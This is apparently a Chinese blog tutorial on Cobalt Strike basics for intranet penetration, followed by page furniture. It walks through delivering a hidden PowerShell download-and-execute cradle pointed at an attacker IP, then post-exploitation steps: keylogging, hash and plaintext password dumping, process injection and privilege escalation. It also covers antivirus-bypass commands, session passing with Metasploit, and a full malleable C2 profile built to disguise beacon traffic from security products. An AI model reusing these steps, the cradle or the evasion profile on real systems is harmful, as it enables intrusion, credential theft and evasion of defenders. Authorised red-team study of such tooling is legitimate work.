内网中的cobalstrike基础

CobalStrike

概述

一款以Metasploit为基础的GUI框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成等。

主要用于团队作战,可谓是团队渗透神器,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。

用法

启动

要求java版本1.8以上

kali 切换java版本update-alternatives --config java

  • 启动服务器

    teamserver + ip + 密码

  • 客户端连接

    ./start.sh

  • 输入服务器地址和团队密码,用户名随意,端口默认为50050

工具条

在这里插入图片描述

依次为

  • 连接另一个服务器

  • 断开当前服务器

  • 监听

  • 切换为服务器节点图

  • 切换为普通显示形式-会话列表

  • 切换成目标列表

  • 查看某一操作结果的凭据信息

  • 查看在目标里下载的文件

  • 查看目标键盘记录

  • 查看屏幕截图

  • 生成载荷

  • 生成Java攻击载荷

  • 生成宏

  • web传递攻击

    ……

基本操作
  • 大致步骤

    设置监听,生成payload,然后生成一个会话

文件攻击(类似msf)
  • 监听设置

    在这里插入图片描述

  • 生成payload

    在这里插入图片描述

    在这里插入图片描述

  • 运行程序之后
    节点图模式

    在这里插入图片描述

    绿色虚线表示http协议或者https协议

    黄色标识dns

    蓝色tcp

    橙色的smd

​ 表模式

在这里插入图片描述

 用户权限,pid,版本等信息一目了然
无文件攻击(web监听)
  • 监听设置

    在这里插入图片描述

  • 得到一条命令

在这里插入图片描述

复制,然后到目标机运行

这里是

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.95.128:80/a'))"

  • 得到一个会话以powershell运行

在这里插入图片描述

后渗透
  • 选择目标,然后进入交互模式

在这里插入图片描述

在这里插入图片描述

常用命令
  • sleep:设置交互时间

    默认60s 一次

  • shell/run + 命令:在cmd中执行一条命令

    shell whoami run whoami

    在这里插入图片描述

  • execuse:执行一个文件

  • powershell + 参数:执行一个powershell指令

  • powerpick:不调用powershell执行powershell指令,可绕过杀软/防护

  • execute-assembly:执行一个.net程序

  • pwd:查看目录

  • cd:切换目录

  • file brower:以界面化的形式查看文件

    比较费时间,但很方便

在这里插入图片描述

在这里插入图片描述

  • process list:以界面化的形式查看进程

在这里插入图片描述

在这里插入图片描述

可杀死、注入进程来获得高权限

在这里插入图片描述

  • portscan:端口扫描

在这里插入图片描述

  • shinject:进程注入

  • ps:查看进程列表

在这里插入图片描述

  • keylogger:键盘记录

  • getuid:查看用户信息

  • getprivs:查看用户详细权限

    在这里插入图片描述

  • getsystem:尝试提权

  • hashdump:导出用户密码(加密)

  • logonpasswords:尝试抓取明文密码

在这里插入图片描述

  • argue:参数欺骗,绕过杀软*** 可用于powershell上线、添加用户等
联动msf
  • 尽管cs界面化很方便,但少了些功能,可以与msf进行会话互传进行补足

    • 先使用msf连接上目标主机

    在这里插入图片描述

会话互传
  • msf --> cs

    1. msf会话反弹后,background
    2. 加载模块:use exploit/windows/local/payload_inject
    3. 设置:set payload windows/meterpreter/reverse_http (方式与cs相同)
    4. 设置ip与端口:set lhost/lpost (与cs中监听配置相同)
    5. 设置session:set session + msf反弹会话处的session号
    6. 执行:exploit

    在这里插入图片描述

    上线

在这里插入图片描述

  • cs --> msf

    1. 先用cs获得一个会话

    2. msf中加载模块:use exploit/multi/handler

    3. 设置payload、ip和端口,执行exploit

    在这里插入图片描述

    1. cs添加监听-Foreign HTTP

    在这里插入图片描述

    1. Spawn 派生,即可在msf中等待会话反弹

      在这里插入图片描述

    在这里插入图片描述

流量加密
  • C2-profile:cs内置工具,用于控制cs流量(防止诺顿等杀软对流量特征的监控与拦截)

  • keytool

    • keytool -genkey -alias demo -keyalg RSA -validity 36500 -keystore demo.store

    • 完成相关信息的输入,密钥有用、姓氏等随意

    • 修改.profile文件内容,若没有则新建一个

      set sample_name "tryblog POS Malware";
       
      set sleeptime "5000"; # use a ~30s delay between callbacks
      set jitter    "10";    # throw in a 10% jitter
       
      set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
       
      #设置证书,注意以下内容得和你之前生成的证书一样
      https-certificate {
          set CN       "y"; 
          set O        "y";   
          set C        "y";
          set L        "y";
          set OU       "y";  
          set ST       "y";
          set validity "365";
      }
      #设置,修改成你的证书名称和证书密码
      code-signer{
          set keystore "demo.store";
          set password "123456";
          set alias "demo";
      }
       
      #指定DNS beacon不用的时候指定到IP地址
      set dns_idle "8.8.4.4";
       
      #每个单独DNS请求前强制睡眠时间
      set dns_sleep "0";
       
      #通过DNS上载数据时主机名的最大长度[0-255]
      set maxdns    "235";
       
      http-post {
          set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
       
          client {
              header "Accept" "text/plain";
              header "Accept-Language" "en-us";
              header "Accept-Encoding" "text/plain";
              header "Content-Type" "application/x-www-form-urltrytryd";
       
              id {
                  netbios;
                  parameter "id";
              }
       
              output {
                  base64;
                  prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
                  print;
              }
          }
       
          server {
              output {
                  print;
              }
          }
      }
       
      http-get {
          set uri "/updates";
       
          client {
              metadata {
                  netbiosu;
                  prepend "user=";
                  header "Cookie";
              }
          }
       
          server {
              header "Content-Type" "text/plain";
       
              output {
                  base64;
                  print;
              }
          }
      }
      
    • 验证可用性:./c2lint demo.profile

    在这里插入图片描述

    • 启动cs:指令后接 ./demo.profile 即可
cs插件编写
  • 可以根据cs官网文档的指导,并使用它的函数库

  • cs进入脚本控制台:view --> Script Console

  • 新建一个demo.cna,进行编写 (特征:空格隔开)

    $a = $b + 1;

    on ready{      #on表示一个事件,在客户端启动加载脚本的时候执行
        $long = 4;
        $long2 = "first";
        $list = @("a","b");
        $dict = %(a => "apple" , b => "boy");
        println("\$list is : $list and \n\$long2 with \$long is $long $+ $first");
        closeClient();
    }
    
  • 测试功能:./agscript 服务器地址 neo 默认端口 团队密码 demo.cna

    打印:
    $list is : @("a","b") and $long2 with $long is 4
    
  • 声明一个函数 sub

    on ready {
    	sub add{
    		println($1 + $2);
    	}            #函数不用指定参数
    	add(4,5);       
    	closeClient();
    }
    打印:9
    
  • cs中使用插件脚本执行命令

    command foo {
    	println("hello $1");
    	##println("\c3hello \cA$1");   染色
    }
    脚本控制台内
    读取脚本:reload 目录/demo.cna
    执行:foo 123
    打印:hello 123
    
  • 用脚本生成菜单

    popup help {
    	menu "&help" {
    		item "&test" {
    			graph_layout($1,"circle");
    		}
    	}
    	item "$none" {
    		graph_layout($1,"none");
    	}
    }
    
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值